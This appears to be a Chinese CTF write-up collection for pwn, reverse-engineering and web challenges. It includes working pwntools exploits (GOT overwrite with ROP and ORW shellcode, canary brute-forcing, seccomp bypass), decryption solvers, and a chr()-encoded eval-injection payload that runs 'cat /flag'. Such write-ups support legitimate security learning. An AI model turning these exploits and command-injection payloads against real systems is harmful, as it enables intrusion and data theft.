没有 PIE,没有 anary,Partial RELRO,意味着存在延迟绑定 + GOT 表可写。
c
int __fastcall main(int argc, const char **argv, const char **envp)
{void *buf; // [rsp+8h] [rbp-18h] BYREF_BYTE v5[16]; // [rsp+10h] [rbp-10h] BYREFinit(argc, argv, envp);sandbox();write(1, "Show me your UN-Lucky number : ", 0x20uLL);read(0, &buf, 8uLL); // 读入一个地址write(1, "Try to hack your UN-Lucky number with one byte : ", 0x32uLL);read(0, buf, 1uLL); // 往上面读入的地址中写入一个字符read(0, v5, 0x110uLL);// 往栈上读入内容,有栈溢出close(1); // 关闭stdoutreturn 0;
}
有一次任意地址写的机会。
程序在新版 Ubuntu 24 下编译,优化掉了 CSU,此时我们很难利用 ELF 的 gadget 来 ROP.
我们想办法泄露 libc 地址或者 ld 地址然后利用 libc/ld 中的 gadget 来 ROP,执行 open + read + write 来输出 flag 文件内容。
程序中只有 write
函数可以进行输出,我们可以利用一个字节任意地址写的机会,把 close
函数的 GOT 表的数值改为write
函数的 PLT 表的地址(因为存在延迟绑定,close
在第一次调用之前指向的是 PLT 中的表项,我们很容易利用修改最低一个字节的方法来使其指向 write
函数的 PLT 表)。
之后由于 close(1)
设置第一个参数为 1,同时 read(0, v5, 0x110uLL);
会残留第 2、3 个参数,我们修改 close
的 GOT 表之后相当于执行 write(1,v5,0x110uLL);
,就可以泄露栈上的内容,正好能泄露 libc 地址,之后利用栈溢出再次启动 main
函数栈溢出 ROP 即可。
由于 glibc 2.39 版本不容易控制 rdx 寄存器,我们可以使用 pop rax
+ xchg eax, edx
的方法来设置 rdx 寄存器的数值。
python
# sudo sysctl -w kernel.randomize_va_space=0
# gcc pwn.c -o pwn -masm=intel -no-pie -fno-stack-protector -l seccomp
from pwn import*
from Crypto.Util.number import long_to_bytes, bytes_to_longcontext.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']ELFpath = './pwn'
p=remote('localhost',11451)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(ELFpath)close_got=0x404028
write_plt=0x4010c0p.sendafter("Show me your UN-Lucky number :",p64(close_got))
p.sendafter("Try to hack your UN-Lucky number with one byte :",b'\xc0')
ret=0x0401447
main=0x4013a3
rubbish=0x404000+0x800
payload=b'a'*0x18+p64(ret)+p64(main)
pause()p.send(payload)
p.recvuntil(b'a'*0x18)
p.recv(0xb8-0x18)
libc_base=u64(p.recv(6)+b'\x00\x00')-0x710b26c2a28b+0x710b26c00000p.sendafter("Show me your UN-Lucky number :",p64(rubbish))p.sendafter("Try to hack your UN-Lucky number with one byte :",b'\x70')pop_rdi=libc_base+0x010f75b
pop_rsi=libc_base+0x110a4d
binsh=libc_base+0x1cb42fxchg_edx_eax=libc_base+0x01a7f27pop_rax=libc_base+0x0dd237open_a=libc_base+0x011B120
read_a=libc_base+0x011BA50
mprotect=libc_base+0x00125C10payload=b'a'*0x18+p64(pop_rdi)+p64(libc_base+0x202000)+p64(pop_rsi)+p64(0x2000)+p64(pop_rax)+p64(7)+p64(xchg_edx_eax)+p64(mprotect)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(libc_base+0x202000)+p64(pop_rax)+p64(0x1000)+p64(xchg_edx_eax)+p64(read_a)+p64(libc_base+0x202000)pause()p.send(payload)pause()shellcode=''
shellcode+=shellcraft.open('./flag',0,0)
shellcode+=shellcraft.read('rax',libc_base+0x202000+0x800,0x100)
shellcode+=shellcraft.write(2,libc_base+0x202000+0x800,'rax')
# gdb.attach(p)
p.send(asm(shellcode))p.interactive()
ezcanary
文件到手先 checksec 一下,看一下是 64 位程序,除了 PIE 其他保护全开
给了后门地址,因为没有开PIE所以可以直接利用
asm
.text:0000000000401236 ; __unwind {
.text:0000000000401236 endbr64
.text:000000000040123A push rbp
.text:000000000040123B mov rbp, rsp
.text:000000000040123E sub rsp, 10h
.text:0000000000401242 mov rax, fs:28h
.text:000000000040124B mov [rbp+var_8], rax
.text:000000000040124F xor eax, eax
.text:0000000000401251 lea rdi, command ; "/bin/sh"
.text:0000000000401258 call _system
再看 main
函数
c
int __fastcall main(int argc, const char **argv, const char **envp)
{char s[88]; // [rsp+0h] [rbp-60h] BYREFunsigned __int64 v5; // [rsp+58h] [rbp-8h]v5 = __readfsqword(0x28u);init(argc, argv, envp);memset(s, 0, 0x50uLL);do{if ( !fork() ){puts(&byte_402031);puts(&byte_402050);puts(&byte_40208B);read(0, s, 0x100uLL);return 0;}wait(0LL);puts(&::s);read(0, s, 0x100uLL);}while ( strcmp(s, "cat flag\n") );puts("flag is one_by_one_bruteforce");read(0, s, 0x100uLL);return 0;
}
很明显的有三个 read
都可以栈溢出,程序是 do while 的循环,当第二次输入为 cat flag\n
时结束循环并读取第三次输入
但是由于程序开启了 Canary 保护,所以并不能直接 ret2backdoor,而需要先想办法绕过 Canary 才能成功修改返回地址
不管是 fork()
函数还是最后 puts
的 one_by_one_bruteforce
都在提示本题可用逐字节爆破的方式获得 Canary
TIP
fork()
函数具有以下两个特点:
- 由于子进程和父进程的栈结构是完全相同的,因此保存在子进程栈上的随机数与保存在父进程栈上的随机数完全相同。换句话说,所有子进程和父进程共享同一个 Canary
- 子进程的崩溃不会导致父进程崩溃
这两个特点意味着当程序调用 fork()
函数创建了足够多的子进程时,我们可以不断访问子进程,直到找到一个不会使子进程崩溃的随机数,这个随机数也就是真正的 Canary
64 位要爆破 7 个字节,运气不好的话要多等会
python
#_*_ coding:utf-8 _*_
from pwn import *
elf = ELF("./ezcanary")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
p = remote('127.0.0.1',8071)
def aaa() :global canfor i in range(256):payload1 = (0x60-8) * b'a' + can + p8(i)p.sendafter('你觉得呢?\n',payload1)info = p.recvuntil('\n')if b"*** stack smashing detected ***" in info :p.send('n\n')continueelse :can += p8(i)breakdef bbb():global cancan = b'\x00'for i in range(7):aaa()if i != 6 :p.send('a\n')else :p.sendline('cat flag')bbb()
canary = u64(can)
print(hex(canary))
getshell = 0x401251
payload2 = b"a" * (0x60-8) + p64(canary) + p64(0) + p64(getshell)
p.sendafter("bruteforce\n", payload2)
p.interactive()
Easy_Shellcode
将程序拖入 IDA 分析,发现程序有一个名为 sandbox
的函数,通过 seccomp-tools dump ./pwn
,可得出程序的沙箱规则
asm
line CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000004 A = arch0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 00090002: 0x20 0x00 0x00 0x00000000 A = sys_number0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 00050004: 0x06 0x00 0x00 0x00000000 return KILL0005: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 00070006: 0x06 0x00 0x00 0x00000000 return KILL0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 00090008: 0x06 0x00 0x00 0x00000000 return KILL0009: 0x15 0x00 0x01 0x00000101 if (A != 257) goto 00110010: 0x06 0x00 0x00 0x7fff0000 return ALLOW0011: 0x15 0x00 0x01 0x000001b5 if (A != 437) goto 00130012: 0x06 0x00 0x00 0x00000000 return KILL0013: 0x15 0x00 0x01 0x00000000 if (A != 0) goto 00150014: 0x06 0x00 0x00 0x00000000 return KILL0015: 0x15 0x00 0x01 0x00000013 if (A != 19) goto 00170016: 0x06 0x00 0x00 0x00000000 return KILL0017: 0x15 0x00 0x01 0x00000127 if (A != 295) goto 00190018: 0x06 0x00 0x00 0x00000000 return KILL0019: 0x15 0x00 0x01 0x00000147 if (A != 327) goto 00210020: 0x06 0x00 0x00 0x7fff0000 return ALLOW0021: 0x15 0x00 0x01 0x00000011 if (A != 17) goto 00230022: 0x06 0x00 0x00 0x00000000 return KILL0023: 0x15 0x00 0x01 0x00000001 if (A != 1) goto 00250024: 0x06 0x00 0x00 0x00000000 return KILL0025: 0x15 0x00 0x01 0x00000014 if (A != 20) goto 00270026: 0x06 0x00 0x00 0x7fff0000 return ALLOW0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW
c
void sandbox() {struct sock_filter filter[] = {BPF_STMT(BPF_LD + BPF_W + BPF_ABS, 4),BPF_JUMP(BPF_JMP + BPF_JEQ, 0xc000003e, 0, 7), // x86_64 Linux系统调用号的偏移位置BPF_STMT(BPF_LD + BPF_W + BPF_ABS, 0),BPF_JUMP(BPF_JMP + BPF_JEQ, __NR_execve, 0, 1), // execveBPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),BPF_JUMP(BPF_JMP + BPF_JEQ, __NR_execveat, 0, 1), // execveatBPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),BPF_JUMP(BPF_JMP + BPF_JEQ, __NR_mmap, 0, 1), // mmapBPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),BPF_JUMP(BPF_JMP + BPF_JEQ, __NR_open, 0, 1), // openBPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),BPF_JUMP(BPF_JMP + BPF_JEQ, __NR_openat, 0, 1), // openatBPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),BPF_JUMP(BPF_JMP + BPF_JEQ, __NR_openat2, 0, 1), // openat2BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),BPF_JUMP(BPF_JMP + BPF_JEQ, __NR_read, 0, 1), // readBPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),BPF_JUMP(BPF_JMP + BPF_JEQ, __NR_readv, 0, 1), // readvBPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),BPF_JUMP(BPF_JMP + BPF_JEQ, __NR_preadv, 0, 1), // preadvBPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),BPF_JUMP(BPF_JMP + BPF_JEQ, __NR_preadv2, 0, 1), // preadv2BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),BPF_JUMP(BPF_JMP + BPF_JEQ, __NR_pread64, 0, 1), // pread64BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),BPF_JUMP(BPF_JMP + BPF_JEQ, __NR_write, 0, 1), // writeBPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),BPF_JUMP(BPF_JMP + BPF_JEQ, __NR_writev, 0, 1), // writevBPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),};struct sock_fprog prog = {.len = (unsigned short) (sizeof(filter) / sizeof(filter[0])),.filter = filter,};prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}
可以发现,程序禁用了 execve
和 execveat
,不能直接 get shell,需要通过 ORW(open read write)来得到 flag
同时,程序也禁用了常规的 open
read
write
,需要我们找到他们的替代品
- 对于
open
,我们可以选择使用openat
或者openat2
(本题已禁用) - 对于
read
,我们可以选择使用readv
、preadv
、preadv2
(本题可用),pread64
或者mmap
(本题可用) - 对于
write
,我们可以选择使用writev
(本题可用),sendfile
(本题可用,且能省略read
)等
注意在使用 shellcraft 时需恢复 rsp
寄存器
TIP
有关沙箱 ORW 的学习资料可参见该文章:seccomp 学习(2)
python
#!/usr/bin/env python3
from pwn import *context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
ru = lambda x: p.recvuntil(x)p = process('./Easy_Shellcode')
elf = ELF('./Easy_Shellcode')shellcode = '''mov rsp, 0x4040c0
'''
shellcode += shellcraft.openat(-100, "/flag", 0, 0)
shellcode += shellcraft.sendfile(1, 3, 0, 0x100)payload = asm(shellcode)
sla(b'Welcome', payload)p.interactive()
011vm
步入 main
函数,发现函数流程图长这样
反编译以后
发现有控制流平坦化特征,用 d810 去控制流平坦化
变正常多了,进入函数,发现可疑数组
可以用 IDA 插件,IDA 8.3 自带一个插件 findcrypt(或者一个个函数搜查)
直接发现有 tea 特征
找到 tea 特征,发现未魔改,字符串也提供了,找个脚本解密得 flag
c++
#include <iostream>
#include <string>
#include <cstdint>using namespace std;void TEA_decrypt(uint32_t v[2], const uint32_t key[4]) {uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, delta = 0x9e3779b9;for (int i = 0; i < 32; i++) {v1 -= ((v0 << 4) + key[2]) ^ (v0 + sum) ^ ((v0 >> 5) + key[3]);v0 -= ((v1 << 4) + key[0]) ^ (v1 + sum) ^ ((v1 >> 5) + key[1]);sum -= delta;}v[0] = v0;v[1] = v1;
}string uint32_to_string(const uint32_t decrypted[8]) {string result;result.reserve(32);for (int i = 0; i < 8; ++i) {for (int j = 0; j < 4; ++j) {char byte = (decrypted[i] >> (8 * j)) & 0xFF; // 逐字节提取result.push_back(byte);}}return result;
}int main() {uint32_t key[4] = {0x11121314, 0x22232425, 0x33343536, 0x41424344};uint32_t encrypted_flag[8] = {0x38b97e28, 0xb7e510c1, 0xb4b29fae, 0x5593bbd7,0x3c2e9b9e, 0x1671c637, 0x8f3a8cb5, 0x5116e515};for (int i = 0; i < 8; i += 2) {TEA_decrypt(&encrypted_flag[i], key);}string decrypted_flag = uint32_to_string(encrypted_flag);cout << "Decrypted flag: " << decrypted_flag << endl;return 0;
}
得到 flag{011vm_1s_eZ_But_C0MP1EX_!!}
simpleAndroid
得到一个 apk 文件,它是 Android 的安装包,类似于 zip 格式的压缩文件。这里使用 jadx 进行打开,首先找到 AndroidManifest.xml
文件,里面标识了 app 一开始显示的 Activity.
然后发现它是先经过了 checkRoot.check()
的判断,返回正确结果后跳转到 CheckActivity
这个里面。
再进去查看这里的 check()
函数,发现它就是一个 root 检测,通过使用 which su
来进行检测。
对于静态分析而言,可以不用管上面对于 root 的检测,然后直接查看 CheckActivity
这一个类,发现这里就是对于输入进行检测的地方,首先通过isValidInput
对输入的格式进行检测,然后通过 CheckData
来进行比较,查看这个方法,发现它是 native 层的,因此需要看 so 文件。
更改后缀名为 .zip
或者直接打开压缩包的方法打开,可以看到这里存在 so 文件,这里有四种架构,是由相同的源码编译而来,可以选一个反编译效果比较好的架构进行静态分析,这里选择的架构是 x86_64
.
然后直接用 IDA 打开 so 文件,首先在函数名称列表中搜索 Java,没有发现和 CheckData
相关的函数名称,由此怀疑不是静态注册,而是动态注册。
因此直接搜索 JNI_OnLoad
,发现在这里动态注册的 CheckData
函数,下面就是函数的位置,点击就可以看到函数了。
点击 CheckData
函数,首先修改相关参数,这里前面两个参数都是自带的,第三个参数才是我们在 Java 中传入的 String
类型的 input
,在这里就是 jstring
类型。
然后分析下面的内容。这里分为两部分来看,上面的部分就是对 UseLess
中的 CHAR_DATA
进行修改,下面就是把输入作为参数传入 func
函数中,然后拿到返回值。
这里再看一下 Java 层的 UseLess
类。然后根据 CHAR_DATA
的数据和下面 func
的代码,可以知道这是进行 Base64 的变换,而由于上面 so 对于 CHAR_DATA
进行了更改,所以这里是换表的 Base64 变换。
那么上面的内容就理清楚了,我们的输入首先经过了 Base64 的变化,然后来到了下面的代码。然后经过分析,这里就是首先前后交换位置,然后进行循环右移4位的操作,最后和密文进行比较。
然后我们直接从后往前进行逆运算即可。
python
import base64enc = [0xB2, 0x74, 0x45, 0x16, 0x47, 0x34, 0x95, 0x36, 0x17, 0xF4,0x43, 0x95, 0x03, 0xD6, 0x33, 0x95, 0xC6, 0xD6, 0x33, 0x36,0xA7, 0x35, 0xE6, 0x36, 0x96, 0x57, 0x43, 0x16, 0x96, 0x97,0xE6, 0x16
]for i in range(len(enc)):enc[i] = (enc[i] << 4 | enc[i] >> 4) & 0xfffor i in range(len(enc)//2):tmp = enc[i]enc[i] = enc[len(enc) - i - 1]enc[len(enc) - i - 1] = tmpcipher = ''.join([chr(e) for e in enc])
new_table = "BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/A"
old_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"print(base64.b64decode(cipher.translate(str.maketrans(new_table, old_table))))
SMc_math
静态看是很难看出来的,除非使用 IDAPython 进行解密,如果不会 IDAPython 的话也可以动调起来直接看。
这个断点设置在 for 循环结束即可,此时是解密完成的状态,我们可以点进 encrypt
函数查看。
点进来看虽然还是一堆乱码,但是这只是 IDA 没有识别出来而已。
在指令开头处按下 C 键即可识别出这个指令。如果失败,那么可以再按一下 U 或者 P 键,总之最后一定可以使用 C 键得到正确的指令。
之后在函数头处按下 U 和 P 键,再按下 F5 即可得到正确的加密函数。
可以看到是七元一次方程组,当然可以使用在线网站解方程,但是这里更推荐使用 z3 来进行解决。
python
# exp.py
from z3 import *
import structx1,x2,x3,x4,x5,x6,x7=Ints('x1 x2 x3 x4 x5 x6 x7')
s=Solver()
s.add(5*x1 + 5*x2 + 4*x3 + 6*x4 + x5 + 2*x6 + 9*x7 - 57391174911 == 0)
s.add(9*x1 + 10*x2 + 6*x3 + 3*x4 + 3*x5 + 9*x6 + 4*x7 - 69310186571 == 0)
s.add(4*x1 + 5*x2 + 4*x3 + 4*x4 + 9*x5 + 10*x6 + 3*x7 - 57272085433 == 0)
s.add(5*x1 + 9*x2 + 2*x3 + 4*x4 + 10*x5 + 2*x6 + 9*x7 - 66739156986 == 0)
s.add(7*x1 + 2*x2 + x3 + 9*x4 + 5*x5 + 9*x6 + 3*x7 - 57213499403 == 0)
s.add(6*x1 + 5*x2 + 10*x3 + 6*x4 + 9*x5 + 3*x6 + 8*x7 - 76815456371 == 0)
s.add(x1 + 4*x2 + 4*x3 + 8*x4 + 9*x5 + x6 + 3*x7 - 48137765857 == 0)
s.check()
m=s.model()
x=[0]*7
x[0]=m[x1].as_long()
x[1]=m[x2].as_long()
x[2]=m[x3].as_long()
x[3]=m[x4].as_long()
x[4]=m[x5].as_long()
x[5]=m[x6].as_long()
x[6]=m[x7].as_long()byte_data = b''.join(struct.pack('<I', value) for value in x)
result_string = byte_data.decode('ascii')
print(result_string)
flowering-shrubs
使用 IDA 可以看到程序完全无法分析。
再仔细看汇编可以发现,题目似乎在随机位置处添加了同一个花指令。
因此我们要使用 IDAPython 自动去除花指令。
python
# remove_flower.py
import idc
import idaapi
startaddr=0x1100
endaddr=0x15FF
lis=[0x50, 0x51, 0x52, 0x53, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x48, 0x81, 0xC3, 0x12, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x83, 0xC4, 0x18,0xC3]
#这个for循环是关键点,检测以当前地址开始的27个字节是否符合lis列表的内容。
for i in range(startaddr,endaddr):flag=Truefor j in range(i,i+27):if idc.get_wide_byte(j)!=lis[j-i]:flag=Falseif flag==True:for addr in range(i,i+27):idc.patch_byte(addr,0x90) # 将这部分内容全部nop掉for i in range(startaddr,endaddr):# 取消函数定义idc.del_items(i)
for i in range(startaddr,endaddr): # 添加函数定义if idc.get_wide_dword(i)==0xFA1E0FF3: #endbr64idaapi.add_func(i)
lis
列表中的内容就是花指令的全部内容。
在 IDA 中选择 File » Script file,选择该 Python 文件即可。
或者在 File » Script command 中将上面的代码粘贴进来。
之后再按下 F5 即可看到清晰的伪代码。
部分函数我进行了重命名。在函数名位置处按下 N 即可重命名。
关键内容就是 encrypt
函数。
这里是用了递归,一共 40 个字节,每四个字节为 1 组,一共 10 组,通过 get_next_rand
函数得到下一组加密字节。仔细分析一下即可写出脚本。
python
#solve.py
lis=[0x54,0xf4,0x20,0x47,0xfc,0xc4,0x93,0xe6,0x39,0xe0,0x6e,0x00,0xa5,0x6e,0xaa,0x9f,0x7a,0xa1,0x66,0x39,0x76,0xb7,0x67,0x57,0x3d,0x95,0x61,0x22,0x55,0xc9,0x3b,0x4e,0x4f,0xe8,0x66,0x08,0x3d,0x50,0x43,0x3e]
str="uarefirst."
offset_buf=[0,4,32,12,8,24,16,20,28,36]
#offset_buf就是通过动态调试提取出每一轮get_next_rand函数的返回值得到的
truekey=[]
for i in str:truekey.append(ord(i))
def decrypt(offset,key):a=lis[offset]b=lis[offset+1]c=lis[offset+2]d=lis[offset+3]flagc=((c+key)&0xff)^bflagd=c^dflaga=a^d^keyflagb=((b-key)&0xff)^flaga^keylis[offset]=flagalis[offset+1]=flagblis[offset+2]=flagclis[offset+3]=flagd
for i in range(10):decrypt(offset_buf[i],truekey[i])
print(bytes(lis).decode('utf-8'))
# flag{y0u_C4n_3a51ly_Rem0v3_CoNfu510n-!!}
SecertsOfKawaii
程序在 Java 层有混淆,用 Jeb 可以简单去除,也可以通过断点调试弄清代码执行流程
Java 层只有一个 RC4,key
是 rc4k4y
,加密后 Base64 一下传到 so 层,值在 so 层检查
IDA 打开发现有 upx 的字符串,猜测是 upx 壳
脱壳后
一个 xxtea,密钥是 meow~meow~tea~~~
写出对应的解密脚本:
c
#include "stdio.h"
#include "string.h"
#include "stdlib.h"
typedef unsigned int uint32_t;#define size 256unsigned char sbox[257] = {0};// 初始化s表
void init_sbox(char *key)
{unsigned int i, j, k;int tmp;for (i = 0; i < size; i++){sbox[i] = i;}j = k = 0;for (i = 0; i < size; i++){tmp = sbox[i];j = (j + tmp + key[k]) % size;sbox[i] = sbox[j];sbox[j] = tmp;if (++k >= strlen((char *)key))k = 0;}
}// 加解密函数
void rc4(char *key, char *data)
{int i, j, k, R, tmp;init_sbox(key);j = k = 0;for (i = 0; i < strlen((char *)data); i++){j = (j + 1) % size;k = (k + sbox[j]) % size;tmp = sbox[j];sbox[j] = sbox[k];sbox[k] = tmp;R = sbox[(sbox[j] + sbox[k]) % size];data[i] ^= R;}
}#define DELTA 0xdeadbeef
#define MX (((z >> 5 ^ y << 3) + (y >> 3 ^ z << 2)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))
void btea(uint32_t *v, int n, uint32_t const key[4])
{uint32_t y, z, sum;unsigned p, rounds, e;if (n > 1) /* Coding Part */{rounds = 6 + 52 / n;sum = 0;z = v[n - 1];do{sum += DELTA;e = (sum >> 2) & 3;for (p = 0; p < n - 1; p++){y = v[p + 1];z = v[p] += MX;}y = v[0];z = v[n - 1] += MX;} while (--rounds);}else if (n < -1){n = -n;rounds = 6 + 52 / n;sum = rounds * DELTA;y = v[0];do{e = (sum >> 2) & 3;for (p = n - 1; p > 0; p--){z = v[p - 1];y = v[p] -= MX;}z = v[n - 1];y = v[0] -= MX;sum -= DELTA;} while (--rounds);}
}char base64[65] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void decodeBase64(char *str, int len, char **in)
{char ascill[129];int k = 0;for (int i = 0; i < 64; i++){ascill[base64[i]] = k++;}int decodeStrlen = len / 4 * 3 + 1;char *decodeStr = (char *)malloc(sizeof(char) * decodeStrlen);k = 0;for (int i = 0; i < len; i++){decodeStr[k++] = (ascill[str[i]] << 2) | (ascill[str[++i]] >> 4);if (str[i + 1] == '='){break;}decodeStr[k++] = (ascill[str[i]] << 4) | (ascill[str[++i]] >> 2);if (str[i + 1] == '='){break;}decodeStr[k++] = (ascill[str[i]] << 6) | (ascill[str[++i]]);}decodeStr[k] = '\0';*in = decodeStr;
}int main()
{// upx -d 解包libmeow1.so,加密只有一个xxtea,但是被魔改过,对照网上的代码修改可以解密// 密文为64位数组,熟悉数据处理的话,直接指针传参就行了long long secrets[6] = {6866935238662214623LL,3247821795433987330LL,-3346872833356453065LL,1628153154909259154LL,-346581578535637655LL,3322447116203995091LL};// 不同编译器 long 的大小可能不同,用 long long 表示 64 位数据// 为什么是 12?12 代表有 12 段 32 位数据(也就是6个long long类型数据),负数时进行解密操作所以传 -12btea((unsigned int *)secrets, -12, ( unsigned int *)"meow~meow~tea~~~");char *flag;// 解 base64decodeBase64((char *)secrets, strlen((char *)secrets), &flag);// 解 rc4rc4("rc4k4y", (char *)flag);// 这里为了方便理解这么些,想方便可以直接 puts(flag);char *tmp = (char *)flag;for (size_t i = 0; i < 48; i++){putchar(tmp[i]);}puts("");
}
PangBai 过家家(3)
本题预计解数很多,校内赛道没达到预期。
如果你用了 DIE,那应该会看到 PyInstaller 字样,这是一个 Python 库,能把 .py
脚本打包成 .exe
. 如果你用 IDA 直接分析,里面大量的 Python 字样也是它的显著特征。当然,直接用 IDA 是难以分析 Python 脚本逻辑的。
对于此种程序,解包方法很多,大家可以上网查关键词 PyInstaller 解包,资料也很多。我使用的是 PyInstaller Extractor.
解包后得到一个目录。
对于这个题,我们没有加密,也没有魔改 magic,也没有在库里面藏东西,所以说我们只关心和程序同名的 NotNormalExe.pyc
. 反编译他看逻辑即可。
为什么一个脚本语言存在编译?这个过程叫预编译,如果感兴趣可以去查资料。
反编译方法也有很多,如在线网站,或各种脚本,如 tool.lu/pyc.
此处由于字节码的版本较高,前面会反编译出错,此时大家可以直接猜这是异或,或者用另一款工具 pycdas 去看机器码,然后找到关键的异或逻辑。
本题其实对于没接触过的人来说主打一个猜,还有查询资料的能力。
如果上面的东西没看懂,这篇文章可能会帮助你。
取啥名好呢
先静态分析程序,mian
(没有打错字)函数是根据不同的信号进行不同的处理
main
函数从这里开始,下面有很多分支跳转,暂时不放出来
使用动态调试,在 IDA 中打开 main
函数(Linux动态调试取消地址空间随机化还没去找怎么做,这里用鼠标慢慢划找到的代码),在 00005643EA39A9CF cmp eax, 4
处下断,看看 eax 的值是多少,跳转到哪个分支(这里想下断点看看是因为没找到 env 的值是什么情况,当时猜测是一个 0,这一步是验证一下猜想)
要输入 flag,先随便输入一个
运行到断点处,看到 eax 的值是 0,然后单步执行一下,运行到此处,报错 got SIGSEGV signal
再次按下 F9,运行,选 yes
运行到此处,这两步做了个指针的赋值,转换到 C 语言就是 qword_562D6BA47060 = &dword_562D6BA47068
asm
.text:0000562D6BA443C9 lea rax, dword_562D6BA47068
.text:0000562D6BA443D0 mov cs:qword_562D6BA47060, rax
这时候可以去查一下 got SIGSEGV signal
错误的信号,是 11,转头去静态分析里面看看这个信号的处理函数,在 func2
里面,longjmp
和 setjmp
是对应的函数,运行完后会回到 main
函数的 setjmp
下面
看了下静态分析的汇编代码,好像也没啥内容了,longjmp
执行后会继续执行下一个 switch
,代码运行如下,相当于给指针赋值为 233,即静态分析中的
在动态调试里面直接F9运行一下吧,又报错了 got SIGILL signal
,信号是 4,去静态分析里看看,没啥重要的函数,只有一个 longjmp
回到 main
函数继续调试,运行到此处又报错 got SIGFPE signal
,其中这一块前面还有一部分重要的操作,在静态分析中体现如下
看看汇编,用一个数除以 0 报错,查看信号码是 8,在静态分析中执行 func1
,查看静态分析的代码:
看到这里就没有调试的必要了,加密逻辑也很简单,先使用 flag+4068
里面的值(233),然后每一位都和下标进行异或
enc
的值如下:
编写解密代码:
c
#include<stdio.h>
#include<string.h>
int main() {unsigned char enc[] ={0x4F, 0x54, 0x48, 0x53, 0x60, 0x45, 0x37, 0x1A, 0x28, 0x41,0x26, 0x16, 0x3B, 0x45, 0x14, 0x47, 0x0E, 0x0C, 0x70, 0x3B,0x3C, 0x3D, 0x70};char flag[24] = "\0";int key = 233;// 解密过程for (int i = 0; i < 23; i++) {flag[i] = enc[i] ^ i;flag[i] -= key;}printf("%s", flag);return 0;
}
flag 为 flag{WH47_C4N_1_54y???}
臭皮的计算器
开发者工具查看网页源码
根据提示进入 /calc
路由,查看网页源码
得到了 Python 后端源码
python
from flask import Flask, render_template, request
import uuid
import subprocess
import os
import tempfileapp = Flask(__name__)
app.secret_key = str(uuid.uuid4())def waf(s):token = Truefor i in s:if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":token = Falsebreakreturn token@app.route("/")
def index():return render_template("index.html")@app.route("/calc", methods=['POST', 'GET'])
def calc():if request.method == 'POST':num = request.form.get("num")script = f'''import os
print(eval("{num}"))
'''print(script)if waf(num):try:result_output = ''with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:temp_script.write(script)temp_script_path = temp_script.nameresult = subprocess.run(['python3', temp_script_path], capture_output=True, text=True)os.remove(temp_script_path)result_output = result.stdout if result.returncode == 0 else result.stderrexcept Exception as e:result_output = str(e)return render_template("calc.html", result=result_output)else:return render_template("calc.html", result="臭皮!你想干什么!!")return render_template("calc.html", result='试试呗')if __name__ == "__main__":app.run(host='0.0.0.0', port=30002)
审计发现过滤了所有字母,使用全角英文和 chr()
字符拼接(或八进制)即可绕过
python
__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
其中 111 115
分别对应 os
的 ASCII 码,99 97 116 32 47 102 108 97 103
分别对应 cat /flag
的 ASCII 码
注意
发包的时候,加号要做转义处理,否则会被视作空格
臭皮踩踩背
题目需要用 nc 连接,给出了部分源码:
python
def ev4l(*args):print(secret)
inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
完整源码:
python
print('你被豌豆关在一个监狱里……')
print('豌豆百密一疏,不小心遗漏了一些东西…')
print('''def ev4l(*args):\n\tprint(secret)\ninp = input("> ")\nf = lambda: None\nprint(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))''')
print('能不能逃出去给豌豆踩踩背就看你自己了,臭皮…')def ev4l(*args):print(secret)secret = '你已经拿到了钥匙,但是打开错了门,好好想想,还有什么东西是你没有理解透的?'inp = input("> ")f = lambda: Noneif "f.__globals__['__builtins__'].eval" in inp:f.__globals__['__builtins__'].eval = ev4l
